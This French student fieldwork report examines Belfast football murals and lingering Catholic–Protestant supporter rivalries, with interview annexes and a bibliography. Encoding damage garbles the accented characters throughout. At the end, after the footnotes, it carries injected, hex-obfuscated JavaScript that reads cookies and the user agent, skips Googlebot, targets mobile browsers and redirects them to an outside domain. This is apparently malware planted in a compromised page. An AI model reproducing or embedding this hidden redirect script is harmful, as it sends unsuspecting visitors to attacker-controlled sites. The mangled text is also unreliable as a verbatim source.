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Arthur, Luis, JA�romeCette A�tude concerne les peintures murales de Belfast se rapportant au football et leur utilisation dans ce contexte particulier de pacification. En effet, ce sport occupe une place importante, tant dans la culture irlandaise qu'anglaise, expliquant son instrumentalisation par les diffA�rentes communautA�s. Il nous a donc paru pertinent d'A�tudier les opinions des habitants de Belfast concernant les peintures murales A� caractA?re footballistique. Pour mener A� bien notre travail, nous procA�derons A� des entretiens avec des Belfastois concernant leurs rA�actions face aux peintures murales que nous leur montrerons.IntroductionLe football est sA�rement la��un des sports les plus pratiquA�s dans le monde, bien qua��il na��y ait pas de statistiques officielles, et permet particuliA?rement aux individus de se rassembler, ceci A� diffA�rentes A�chellesA�: locales, nationales et mondiales. Ca��est donc pour ces capacitA�s de rassemblement que nous avons pensA� A� mobiliser le football comme outil pour aborder le conflit survenu en Irlande du Nord entre loyalistes/unionistes (pour une Irlande du Nord rattachA�e au Royaume-Uni, de confession protestante) et nationalistes/rA�publicains (pour une RA�publique da��Irlande unie sans rapport avec la couronne, de confession catholique) jusqua��aux accords de paix signA�s en 1998.Il existe un lien fort entre football et identitA�, la dimension compA�titive de ce sport cristallisant des enjeux identitaires. Ainsi, ce sport unit autant qua��il oppose (FauchA� et al., 2000). Cependant, dans ce travail nous A�tudierons principalement comment le soutien A� la��un des clubs de football belfastois favorise ou non un communautarisme, notamment religieux.En Irlande du Nord, les championnats de football ont A�tA� bouleversA�s pendant le conflit (Ramonet, 1996). En effet, soutenir une A�quipe plutA?t qu'une autre dA�passait et semble encore dA�passer largement le monde du football, contrairement A� d'autres championnats europA�ens. Ainsi, on peut y voir en rA�alitA� le soutien portA� A� la cause nationaliste, A� travers les A�quipes catholiques, ou unioniste, A� travers les A�quipes protestantes. La ville de Belfast compte six clubs principaux, ce qui est rare, la plupart des villes en comptant beaucoup moins. Outre la��importance culturelle du football en Irlande du Nord, nous pouvons imaginer que le communautarisme, ainsi que la division spatiale et la limitation des dA�placements crA�A�es par les peacewalls expliquent cette prolifA�ration de clubs de football.Cet objectif nous a donc conduit A� analyser les murals footballistiques et la faA�on dont ces fresques symbolisent une appartenance confessionnelle. Ainsi nous nous sommes demandA�s comment les Belfasois-es perA�oivent actuellement ces murals ? Nous souhaitons notamment A�tudier si les rivalitA�s communautaires A�autour du football existent toujours ou si elles se sont dissipA�es.Selon nous, le football rassemblerait les diffA�rentes communautA�s nord-irlandaises derriA?re une mA?me A�quipe. Ainsi, nous A�mettons la��hypothA?se que les murals sur le football peuvent A?tre pacificatrices, du moins ceux reprA�sentant la��A�quipe nationale. Cette hypothA?se sa��appuie notamment sur la qualification de la��Irlande du Nord au championnat da��Europe de football 2016.Nous avons pu remarquer que l'histoire de certains clubs sa��inscrit dans l'histoire des Troubles. En effet, certaines A�quipes n'avaient pour joueurs que des protestants ou que des catholiques. Certaines A�quipes ont cessA� leur activitA� pendant une pA�riode par crainte pour la sA�curitA� de leurs joueurs et de leurs supporters (DelanoA�, 2016). Aujourd'hui la rA�alitA� est diffA�rente. En effet, nous pouvons constater une plus grande mixitA� religieuse au sein des clubs de football belfastois. De plus, nous avons pu dA�couvrir la��histoire du football en Irlande et particuliA?rement le contexte de crA�ation des diffA�rents clubs de Belfast. Nous avons A�galement A�tA� trA?s intA�ressA�s par la transposition du conflit religieux entre A�quipes de football catholiques et protestantes en A�cosse. C'est une situation particuliA?re que nous dA�taillerons plus loin dans notre analyse.MA�thodes utilisA�esL'histoire des Troubles pouvant encore A?tre un sujet sensible pour les Belfastois-es, nous avons dA�cidA� de l'aborder A� travers le football, notamment en appuyant nos entretiens sur des reprA�sentations de peintures murales en rapport avec ce sport. Nous avons fait diffA�rentes recherches sur les peintures murales se rapportant au football. En prA�sentant nos images aux diffA�rents individus, nous pensions A?tre en mesure de leur demander ce qu'ils ressentent A� leur vue et qu'ils parleraient plus ouvertement du conflit passA� et de la situation actuelle.Nous avons sA�lectionnA� trois images de murals (cf. annexes) : la��une da��un club protestant, la��une da��un club A�cossais catholique et une troisiA?me reprA�sentant la��A�quipe nationale. Nous avons choisi ces images afin de nous aider A� rA�pondre A� notre problA�matique, A� savoir la perception de ces murals par les habitants de Belfast. En effet, nous pensions que ces images nous permettraient da��aborder la��existence de clubs de football avec une appartenance religieuse catholique ou protestante et la possibilitA� de rassemblement A� travers la��A�quipe nationale, ce qui correspond A� nos hypothA?ses A�noncA�es plus loin. L'image 1 figure un trA?fle A� rayures vertes A� cA?tA� d'un personnage du nom de Jimmy Johnstone. Ce dernier est un joueur de football d'origine A�cossaise qui a fait partie du Celtic Football Club, un club A�cossais. Il fut da��ailleurs A�lu meilleur joueur de tous les temps par les supporters de ce club (Glanville, 2006). Ce mural n'est pas anodin car il tA�moigne du fort attachement de la communautA� catholique nord-irlandaise A� ce club. En effet, avec la diaspora irlandaise en A�cosse, beaucoup d'amateurs de football irlandais catholiques soutiennent ce club qui fut destinA�, lors de sa crA�ation, au soutien de la communautA� celtique (McGuirk, 2009). L'image 2 figure deux A�cussons : celui du Linfield Football and Athletic Club, ainsi que celui de l'A�quipe nationale nord-irlandaise, constituA�e principalement de joueurs protestants. Nous pouvons y lire "Proud supporters for Club and Country". Ainsi, nous pouvons imaginer que les personnes affiliA�es A� ce club sont A�galements liA�es A� l'A�quipe nationale de l'Irlande du Nord. En effet, le club de Linfield a A�tA� crA�A� dans le quartier de Sandy Row, qui est habitA� par une communautA� majoritairement loyaliste. C'est, par ailleurs, le club avec le plus de succA?s A� Belfast et qui compte le plus de supporters (Garnham, 2004). L'image 3 figure l'A�cusson de l'A�quipe nationale nord-irlandaise avec une inscription: "Northern Ireland Supporters Club". Les drapeaux de l'Irlande du Nord et du Royaume-Uni sont reprA�sentA�s A� l'arriA?re-plan de l'image. Plus bas, nous pouvons A�galement lire "Our Wee Country", qui est un synonyme d'Irlande du Nord employA� par les locaux protestants. De plus, nous pouvons distinguer une couronne entre les deux drapeaux, ce qui tA�moigne l'allA�geance de l'Irlande du Nord au Royaume-Uni.Une fois A� Belfast, nous avons malheureusement appris que les murals footballistiques avaient A�tA� recouverts. En effet, la��Association de Football nord-irlandaise (IFA) souhaite repeindre les slogans et les peintures murales exprimant une appartenance communautaire (BBC News, 2003). Notre problA�matique a donc dA� A?tre remodelA�e et nous avons dA�cidA� de nous dA�tacher des murals pour nous concentrer sur la��existence de rivalitA�s communautaires dans le football nord-irlandais. Nos hypothA?ses quant A� ces tensions identitaires A�taient les suivantes : Lors de la pA�riode des Troubles les clubs de football de Belfast ont cristallisA� des rivalitA�s religieuses et politiques. Dans le contexte post-conflit actuel, les rivalitA�s entre supporters sont purement sportives et tous les habitants de Belfast supportent l'A�quipe nationale, permettant la crA�ation d'une identitA� commune.Nous pensions donc interviewer des habitants A� la��aide des images, mais nous avons fait nos entretiens sans les images puisque ces murals na��existaient plus et il nous semblait difficile de parler du ressenti de murals qui ont A�tA� recouverts. Nos entretiens se sont faits de maniA?re trA?s spontanA�e. Nous avions prA�parA� une grille da��entretien semi structurA�e, mais nous nous sommes rendus compte que les gens A�taient plus ouverts lors da��une discussion sans grille da��entretien et sans prise de notes.Les gens avec qui nous avons eu des A�changes A�taient des individus rencontrA�s dans la rue ou dans des bars lors de diffusion de matchs, des employA�s de notre auberge, ainsi que les A�tudiants rencontrA�s et notre chauffeur de black cab (tour en taxi avec un ancien activiste catholique). Nous na��avions aucun critA?re pour sA�lectionner les personnes, nous avons parlA� avec les gens que nous avons rencontrA�s et qui voulait bien parler de football. Par ailleurs, pour pouvoir faire nos entretiens, il nous a fallu trouver des personnes intA�ressA�es par le football et disposA�es A� en discuter, ce qui n'est pas si A�vident en Irlande du Nord oA? le sport le plus regardA� est le rugby (Sugden et al., 1995).Nous avons A�galement visitA� des lieux officiels du football belfastois. NA�anmoins, nous n'avons pas rA�ussi A� avoir de contacts avec des reprA�sentants de l'Association Irlandaise de Football, ceux-ci A�tant trop pris par les prA�paratifs du championnat europA�en 2016. De plus, nous n'avons pas pu visiter de centres d'entraA�nement car ils sont fermA�s au public, et aucun match n'A�tait prA�vu pendant notre prA�sence A� Belfast.Contexte de discussion : Le football pendant et aprA?s les TroublesPendant la pA�riode des Troubles, la sociA�tA� nord-irlandaise A�tait clairement divisA�e entre rA�publicains/nationalistes de confession catholique d'un cA?tA� et loyalistes/unionistes de confession protestante de l'autre. D'habitude, l'affiliation A� un club de football, ou le simple fait de le supporter, tA�moigne de l'affirmation d'une identitA� territoriale et/ou politique et/ou religieuse. Sur la scA?ne belfastoise, et particuliA?rement pendant la pA�riode de conflit, ces deux derniA?res dimensions se sont trA?s accentuA�es. Ainsi, nous pouvons dire que ce sport a A�tA� A�instrumentalisA� par chacune des communautA�s pour exprimer une certaine appartenance identitaire, ce qui a da��ailleurs menA� A� de violents affrontements entre supporters. Par ailleurs, si le fait de supporter un club illustre l'appartenance A� une communautA� particuliA?re, nous pouvons dire qua��il en va de mA?me pour les A�quipes nationales. En novembre 1993, un match de qualification pour la coupe du monde de 1994 ayant lieu au Winsdor Park de Belfast opposait l'Irlande du Nord A� la RA�publique d'Irlande. Si la RA�publique d'Irlande gagnait, tout comme en cas d'A�galitA�, elle A�tait qualifiA�e. Quelques semaines auparavant, dix personnes ont A�tA�A�tuA�es lors d'une attaque A� la bombe par des membres de l'IRA[1]. Puis, peu aprA?s cet A�vA?nement, huit personnes furent tuA�es lors d'une attaque de l'UDA[2] en guise de revanche (Moriarty, 2016). Un tA�moignage de Michael O'Neill, un joueur de football nord-irlandais devenu entraA�neur de la sA�lection nationale en 2011, dA�crit l'atmosphA?re de cet A�vA�nement comme "mA�chante" et a�?malsaine" (Moriarty, 2016). Si le premier but nord-irlandais fit sauter de joie les supporters locaux, ravis d'anA�antir les espoirs de la rA�publique irlandaise d'aller en coupe du monde, l'A�galisation grA?ce au but d'Alan Mcloughlin ne fut pas saluA�e. Selon Michael O'Neill l'endroit le plus sA�r A�tait le terrain.Cependant, Michael O'Neill affirme qu'aujourd'hui ces tensions se seraient dissipA�es dans une situation post-conflit. De plus, les catholiques d'Irlande du Nord seraient de plus en plus nombreux A� supporter l'A�quipe nationale d'Irlande du Nord, mA?me si la plupart prA�fA�reraient supporter l'A�quipe de la RA�publique d'Irlande. Aussi, il y a des joueurs tant catholiques que protestants dans l'A�quipe d'Irlande du Nord. Certains, A� l'image de Liam Boyce, se bA�nissent en faisant le signe de la croix avant de rentrer sur le terrain sans que cela ne dA�range les coA�quipiers. Il dit mA?me : "Nous sommes tous amis et ne voulons jouer qu'au football". (Moriarty, 2016)Cependant, cinq sur six des directeurs de l'IFA (Ireland Football Association) sont catholiques, ce qui montre que les divisions communautaires ne sont pas totalement dissipA�es du football en Irlande du Nord. (Moriarty, 2016)La majoritA� des clubs belfastois est unioniste et a des supporters protestants. Cependant, comme dit prA�cA�demment, le football n'est pas le sport dominant en Irlande du Nord. Les A�quipes de premiA?re division ne sont que semi-professionnelles. Les supporters de football locaux prA�fA?rent ainsi supporter des A�quipes anglaises ou A�cossaises. Concernant les A�quipes A�cossaises, il y a un attachement fort aux A�quipes de la Old Firm. C'est un terme qui dA�signe l'affrontement entre les deux A�quipes rivales de Glasgow, les Rangers et les Celtics. En effet, comme dit prA�cA�demment, la ville de Glasgow compte une forte population irlandaise. Beaucoup de nord-irlandais catholiques supportent les Celtics de Glasgow, tandis que les protestants supportent les Glasgow Rangers. C'est le genre d'affrontement qui, mA?me aujourd'hui, est toujours source de tension (BBC News, 2006). Ainsi, mA?me aprA?s les Troubles, les supporters se provoquent en entonnant de chants communautaires, mA?me si ces derniers ont A�tA� interdits (Vice, 2012).Par ailleurs, les tensions intercommunautaires se sont apaisA�es. NA�anmoins, des affrontements entre supporters peuvent encore avoir lieu. Par exemple, en 2005, des supporters de Linfield ont A�tA� attaquA�s par des jets de pierres de supporters de Derry City lorsqu'ils regagnaient les bus servant A� les ramener A� Belfast.Nous pouvons donc comprendre que les rivalitA�s persistent. Ceci dit, nous avons menA� l'enquA?te, sur le terrain, pour discuter avec des personnes locales et savoir ce qu'ils en pensent.Analyse des entretiensDans nos entretiens, il est ressorti que l'histoire des clubs de football a effectivement cristallisA� des rivalitA�s politiques et religieuses. La rA�ticence de certains A� en parler avec nous peut laisser penser que le football est encore un sujet sensible et suscite encore des rA�actions communautaires. Bien que le conflit soit terminA�, les esprits ne se sont pas apaisA�s pour autant et des rivalitA�s communautaires entre supporters persistent. Cependant, elles sont plus nuancA�es qua��auparavant. Ainsi, mA?me si les supporters ont toujours tendance A� s'identifier A� une A�quipe selon leurs croyances religieuses, ils acceptent que la confession d'un joueur diffA?re de celle du club et il est commun qu'un catholique joue pour Linfield (une A�quipe protestante) a�� un mA�lange qui A�tait trA?s rare A� la��A�poque du conflit. On peut donc remarquer que les rivalitA�s ne sont aujourda��hui pas sur le terrain mais dans les tribunes.Par ailleurs, nous avons pu remarquer que le football na��occupe pas la place que nous avions imaginA�e. Plusieurs personnes avec qui nous avons A�changA� ont affirmA� ne pas A?tre familiA?res de ce monde et ce pour diffA�rentes raisons : un dA�sintA�rA?t, les performances moyennes des A�quipes, le nombre limitA� de matchs jouA�s A� Belfast ou encore le communautarisme qui serait toujours trop prA�sent entre les supporters et aurait ainsi un effet rA�pulsif. Lors da��une sortie de terrain, des ouvriers du stade (dont nous cherchions la��entrA�e) nous ont interpellA�s et nous ont demandA� ce qu'on cherchait. Nous leur avons rA�pondu que nous A�tions A�tudiants et que nous A�tions A� Belfast pour A�tudier le contexte post-conflit A� travers le football. On leur a demandA� s'ils A�taient supporters : deux a�� dont un portait un pull Liverpool FC a�� sur trois nous ont rA�pondu que oui. Mais aucun ne supporte d'A�quipes locales dans lesquelles le communautarisme est selon eux trop prA�sent. En effet, ce n'est pas uniquement parce que les A�quipes sont semi-professionnelles et que le niveau est bas, mais bel et bien A� cause des tensions communautaires qui subsistent. Ils ont ajoutA� que lors des matchs un lourd effectif de police est dA�ployA� (extrait de la��entretien nA� 6). Les rivalitA�s footballistiques dans cette situation post-conflit ne proviennent donc pas simplement du sport, mais A�galement du sentiment communautariste encore prA�sent.Finalement, contrairement A� ce que nous avions pensA�, la��A�quipe da��Irlande du Nord na��est pas fA�dA�ratrice. Les supporters de cette A�quipe seraient en grande majoritA� des protestants et des dA�fenseurs de la cause loyaliste. Par ailleurs, les catholiques soutiennent l'A�quipe de la RA�publique d'Irlande, bien que certains commencent A� soutenir A�galement la��A�quipe da��Irlande du Nord da��aprA?s les recherches que nous avions fait au prA�alable. En effet, selon nos interlocuteurs, cela est dA� A� la faA�on dont les individus de chacune des deux communautA�s se dA�finissent et se revendiquent. Par exemple, un Ecossais se revendiquera comme a�?Scottisha�? dans un premier temps, puis comme faisant partie du royaume de Grande-Bretagne. Il en va de mA?me pour un Gallois. En revanche, en Irlande du Nord, A� cause du passA� politique et du caractA?re insulaire du territoire, l'identitA� britannique des loyalistes n'est pas assurA�e. C'est pourquoi, ils vont immA�diatement se prA�senter comme Britanniques et non comme Irlandais du Nord faisant partie du royaume de Grande-Bretagne (extrait de la��entretien nA� 5). A leur tour, les catholiques, eux, se voient comme appartenant A� la RA�publique d'Irlande et se revendiqueront comme Irlandais, ce qui fait persister les diffA�rences entre les deux communautA�s et empA?che la crA�ation da��une identitA� commune. Ainsi, la��identitA� nord-irlandaise passant au second plan, les partisans da��une Irlande unifiA�e ne peuvent sa��identifier A� l'A�quipe de l'Irlande du Nord car ce serait le comtA� de la��Ulster si la��Irlande A�tait unifiA�e. Y apporter son soutien reviendrait A� appuyer la cause unioniste et donc accepter la sA�paration entre la rA�publique da��Irlande et la��Irlande du Nord ce qui est encore difficile pour certains malgrA� les accords de paix.ConclusionEn dA�finitive, nous pouvons estimer qua��il est correct de considA�rer le sport, et plus particuliA?rement le football, comme fA�dA�rateur. Cependant, dans le cas de Belfast ca��est une rA�alitA� bien plus complexe. Pendant les Troubles, chacune des communautA�s se rangeait derriA?re une A�quipe et sa��affrontait violemment lors des matchs. De plus, le dA�saccord qui subsiste depuis la signature du traitA� de paix de 1998 et le maintien du dA�sir da��une partie de la communautA� catholique rA�publicaines de voir la��Irlande unie fait de la��A�quipe nord-irlandaise un sujet de litiges. Le football demeure un terrain sensible dans lequel les sentiments personnels sont mA?lA�s. La rA�action de retrait de certains individus A� nos questions nous a laissA� la��entrevoir.Une fois ce travail terminA�, nous avons A�tA� forcA�s de constater que le temps sur place A� Belfast nous a fait dA�faut. En effet, nous aurions souhaitA� approcher de plus prA?s le monde du football local, que ce soit en allant assister A� des matchs ou encore en sympathisant avec des membres de clubs de supporters. Lorsque nous avons appris que la plupart des murals de football avaient A�tA�s recouverts, nous aurions aimA� pouvoir dA�couvrir les quelques fresques qui perdurent en plus des photographies que nous avions trouvA� en ligne. Cependant, nous avons compris que le football est un milieu relativement fermA� dans lequel il faut A?tre introduit et pour A?tre amenA�s A� ces peintures il nous aurait fallu rencontrer plus de gens, ce que le manque de temps nous a empA?chA� de faire.Pour terminer, on nous a fait remarquer qua��aujourda��hui le sport utilisA� pour tenter de rA�concilier les communautA�s A� Belfast est le hockey. En effet, une A�quipe a A�tA� importA�e du Canada et une patinoire a A�tA� construite aprA?s le conflit, ce qui empA?che toute affiliation da��un cA?tA� comme de la��autre.BibliographieArticles ou ouvrages scientifiquesA�: FauchA� S. et al. (2000), Sport et IdentitA�, Paris, L'Harmattan. Garnham N. (2004), Association football and society in pre-partition Ireland, Belfast, Ulster Historical Foundation. McGuirk B. (2009), Celtic FC - The Ireland Connection, Edinburgh, Black &#38; White Publishing Limited. Ramonet I. (1996), a�?Passions nationalesa�?, Quasimodo, octobre 1996, nA�1, p.27-31 [en ligne].A�http://www.revue-quasimodo.org/PDFs/1%20-%20Ramonet%20Sport%20Passion%20Nationalisme.pdfA�(consultA� le 21.05.16) Sugden J. et al. (1995), a�?Sport and community relations in Northern Irelanda�?, Center for the study of conflict, [en ligne]. A�http://cain.ulst.ac.uk/csc/reports/sugdenharvie/sugdenharvie95-1.htm A�(consultA� le 21.05.16)AutresA�: BBC News, a�?Star helps in graffiti removala�?, 30 Octobre 2003, [en ligne]. http://news.bbc.co.uk/2/hi/uk_news/northern_ireland/3228195.stmA�(consultA� le 3.01.16) BBC News, a�?A rivalry tied up in religiona�? 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(2006), a�?Brilliant Celtic and Scotland winger who took the European Cup with the Lisbon Lionsa�?, The Guardian, mars 2006, [en ligne].http://www.guardian.co.uk/news/2006/mar/14/guardianobituaries.football (consultA� le 20.05.16) Moriarty G., "Northern Ireland football bridges divide after dark days of Troublesa�?, The Irish Times, 9 avril 2016, [en ligne].http://www.irishtimes.com/news/ireland/irish-news/northern-ireland-football-bridges-divide-after-dark-days-of-troubles-1.2604045(consultA� le 21.05.16)A�Annexes: Entretiens et imagesA�(dans la��ordre chronologique)Entretien nA� 1 avec notre Black Cab Driver, ancien activiste catholique What about football in Northern Ireland? Do you guys enjoy watching games?R: Yes we do, you probably don't know it but actually our national sport is handball. We also have another Irish sport where you play with some kind of bats but only a few play it. Do you have a favourite club?R: Actually I do. The Celtics. There was a big diaspora of Irish people that went to Scotland so we kind of look up to that team. We also watch the Northern Ireland games, but the teams are not professional, only semiprofessional. It's like, you come from a small place but you refer yourself to another big team. Us, the catholic Irish people most often look up to the Celtics of Glasgow. Ok so there must be a big rivalry between the catholic Irishmen from Glasgow and the protestant Scottish.R: Yes of course. I don't know if you have already seen an "Old firms match". It's quite impressive. It's the most important derby to me. It's like the two teams of Madrid playing against each other but instead of being a difference between the social class of the supporters of each team you can also add a touch of politics and religious rivalry. We were thinking if there's something close to that in Belfast. I mean, there's quite an historic rivalry between two kinds of communities here so is there some derby's like the "Old firm"?R: Well, it's not as impressive but there's a rivalry between Cliftonville, more Catholic, and Linfield, which is more protestant. Anyway, you can see today that there are more and more Protestants and Catholics playing in a team or the other. I even have a catholic friend whom the grandson is playing for Linfield. The teams are becoming more mixed. On the other hand, the supporters tend to be affiliated to one team because of their beliefs but still accept other players beliefs in their favourite team. We're doing our project on murals related to football. Are there some places you can show us about it?R: Well not really, the Northern Ireland Football association has repainted these murals. Why have they done that?R: The war is over. I think it's better like that. Each side will try to not forget what happened by painting murals, memorials etc. but there's no point on provocation or something like that.Entretien nA� 2 A� la rA�ception de la��aubergeLa��entretien na��a pas durA� longtemps car notre interlocuteur, un employA� de la��auberge, nous fais savoir qua��il na��est pas du tout familier avec le monde du football.a�?Je na��aime pas A�a. Mais pas pour des raisons politiques !a�?En revanche, il nous a proposA� de nous arranger un rendez-vous avec un gA�rant de la��auberge qui, lui, est un supporter.Entretien nA� 3 avec un serveur da��un bar oA? il y a des diffusions de matchsIl n'a pas A�normA�ment parlA� de foot. NA�anmoins, il a dit que le football A� Belfast n'A�tait pas trA?s important bien qu'il y ait effectivement des appartenances communautaires dans des A�quipes.Nous avons demandA� si aujourd'hui il A�tait plutA?t question de politique ou de religion?"Ce n'est pas que la religion et la culture. La sA�paration spatiale est trA?s importante et A�galement dans d'autres villes !"Entretien nA� 4 avec le gA�rant de l'hostel Vagabonds et du Lavery'sNous avons A�tA� introduits par l'un des employA�s et ami du gA�rant, nous lui avons demandA� ce qu'il pensait du football A� Belfast.Il a commencA� par dire qu'il ne connaissait pas grand-chose et que le questionner ne valait pas la peine. Puis il ajoute que la scA?ne footballistique nord-irlandaise n'est pas si importante a��5000 supporters dans Belfast et 15 matchs par annA�e, les gens ont plutA?t tendance A� suivre la premiA?re ligue oA? les A�quipes de Belfast ne jouent pas.Nous lui avons alors demandA� si on pouvait supposer que les gens auraient plutA?t tendance A� supporter des A�quipes telles que les Celtics de Glasgow ou...Il a alors eu une rA�action de gA?ne et s'est mis en retrait, en disant qua��on ne pouvait pas immA�diatement poser des questions si directes.On a immA�diatement senti qua��il A�tait rA�ticent A� parler de football avec nous, ce qui nous a amener A� penser qua��il na��A�tait pas si indiffA�rent A� ce sport et aux enjeux identitaires qua��il cristallise. Suite A� sa suggestion d'aller voir l'IFA, nous avons A�galement A�voquA� la��existence du club de supporters non loin de lA�. Il nous a dit qu'il A�tait vendu, que ce n'A�tait plus un club de supporters mais qu'on pourrait A�ventuellement encore en trouver lA�-bas. Puis il a ajoutA� que l'on ferait mieux d'aller tenter da��en discuter dans un bar et de provoquer une bagarre en rigolant.Entretien nA� 5 avec un supporter de confession catholique (retranscription)Lors du cocktail organisA� par notre dA�partement, une discussion informelle sa��est engagA�e devant la��hA?tel avec un belfastois qui A�tait lA�:Nous apprenons que cet homme est un supporter de Clifton Ville, catholique et anti-loyaliste selon ses mots. Nous lui demandons sa��il sa��identifie A� l'A�quipe de la��Irlande du Nord et il nous rA�pond clairement que non. Son petit frA?re a A�tA� sA�lectionnA� pour jouer dans la��A�quipe et na��a pas apprA�ciA� y jouer.Il y aurait dans la��accord de paix une clause qui dit que les joueurs nord-irlandais catholiques A�peuvent aller jouer dans la��A�quipe de la��Irlande.Beaucoup da��Irlandais quittent la��Irlande du Nord pour aller rejoindre la rA�publique da��Irlande. Par consA�quent, il y a moins de catholiques que de protestants A� Belfast dA�sormais et les rivalitA�s entre les membres des deux communautA�s, selon lui, ne vont pas en sa��apaisant. Le problA?me se situe dans la maniA?re dont les individus se dA�finissent. Par exemple, un Ecossais se revendiquera comme a�?Scottisha�? dans un premier temps, puis comme faisant partie du royaume de Grande-Bretagne. Il en va de mA?me pour un Gallois. En revanche, en Irlande du Nord, Compte tenu du passA� politique et du caractA?re insulaire du territoire, les protestants - du fait qua��ils ne soient pas rattachA�s au a�?mainlanda�?, les protestants vont immA�diatement se revendiquer comme Britanniques, ce qui fait persister les diffA�rences entre les deux communautA�s et empA?che la crA�ation da��une identitA� nord-irlandaise. Un autre exemple rA�side dans le fait qua��ils na��aient pas leur propre hymne - ils chantent comme les Anglais a�?God Saved the Queena�?. Cela montre encore leur attachement A� la couronne et leur volontA� de ne pas vouloir sa��en dA�faire. De ce fait, une assimilation devient impossible.Au sein de la��A�quipe qua��il supporte, peu lui importe si un joueur est protestant, car il dissocie sa confession de la��A�quipe dans laquelle il a signA�. Finalement, il reconnaA�t que le joueur fait son travail: marquer pour son A�quipe.Da��un autre cA?tA�, les supporters se comportent de maniA?re trA?s diffA�rente. Les protestants sont derriA?re Linfield et les catholiques supportent Cliftonville. Il y a des tensions claires entre les deux groupes.A nouveau la��exemple du a�?Old Firma�? de Glasgow a A�tA� utilisA�, car avec la forte diaspora irlandaise qua��il y a eue en A�cosse, il y a un grand nombre de supporters nord-irlandais et les A�quipes sont plus populaires en comparaison A� celles de Belfast qui ne sont pas en premiA?re division. Cet exemple est criant parce que la ville de Glasgow na��est vraiment pas loin et il montre, presque de maniA?re caricaturale, les rivalitA�s qui persistent entre les deux communautA�s, par la��intermA�diaire des A�quipes des Rangers protestants et des Celtics catholiques.Entretien nA� 6 Recherche de L'IFA (Irish Football Association) dans la ville et rencontre avec des ouvriersNous sommes allA�s A� la recherche de l'IFA. C'est une fois arrivA�s A� l'adresse trouvA�e sur internet que nous avons pu constater que le bureau avait dA�mA�nagA� au stade National situA� au Winsdor Park qui est A�galement le terrain oA? sa��entraA�ne la��A�quipe de Linfield.Sur place un groupe d'ouvriers curieux nous a demandA� ce qu'on cherchait et nous a indiquA� l'entrA�e des bureaux qui A�tait mal indiquA�e en raison des travaux rA�alisA�s au stade.Dans le hall, un agent de sA�curitA� nous a accueillis. Nous nous sommes prA�sentA�s et avons demandA� A� voir un reprA�sentant A� qui nous pourrions poser des questions. Il nous a rA�pondu qu'avec les prA�paratifs de l'Euro 2016 une grande partie des employA�s A�taient A� l'A�tranger et que donc personne na��A�tait disponible pour nous rA�pondre. En sortant, les ouvriers nous ont interpellA�s et nous ont demandA� ce qu'on cherchait plus prA�cisA�ment. Nous leur avons rA�pondu qu'on A�tait A�tudiants et qua��on A�tait A�lA� pour analyser la situation post-conflit A� travers le foot. On leur a demandA� s'ils A�taient supporters : deux a�� dont un portait un pull Fc Liverpool a�� sur trois nous ont rA�pondu que oui. Mais aucun ne supporte d'A�quipes locales dans lesquelles le communautarisme est selon eux trop prA�sent. En effet, ce n'est pas uniquement parce que les A�quipes que semi-professionnelles, mais bel et bien A� cause des tensions qui subsistent. Ils ont ajoutA� que lors des matchs un lourd effectif de police est dA�ployA� (environ 400 agents et des vA�hicules anti-A�meutes).Finalement, nous leur avons demandA� si selon eux le foot avait plutA?t tendance A� rassembler les gens ou A� les sA�parer, sans hA�siter l'un nous rA�pond: "A�a les sA�pare".Et quant A� l'A�quipe da��Irlande du Nord ? "Les catholiques ne sont pas du tout supporters de cette A�quipe".ImagesImage 1 : Jimmy Johnstone Mural, Falls Road, Belfast[caption id="attachment_932" align="aligncenter" width="454"] source : http://www.inyourpocket.com/belfast/Belfast-Murals_70999f?&#38;page=1#&#38;gid=1&#38;pid=15[/caption]Image 2 : For Club and Country, croisement de Broadway et Donegall, Belfast[caption id="attachment_933" align="aligncenter" width="448"] source : https://extramuralactivity.com/category/red-hand/page/5/[/caption]Image 3 : Our wee country, au Times Bar sur York Road, Belfast[caption id="attachment_934" align="aligncenter" width="451"] source : https://extramuralactivity.com/2013/01/05/our-wee-country-2/[/caption][1] Irish Republican Army, organisation paramilitaire rA�publicaine[2] Ulster Defense Army, organisation paramilitaire loyalistevar _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( 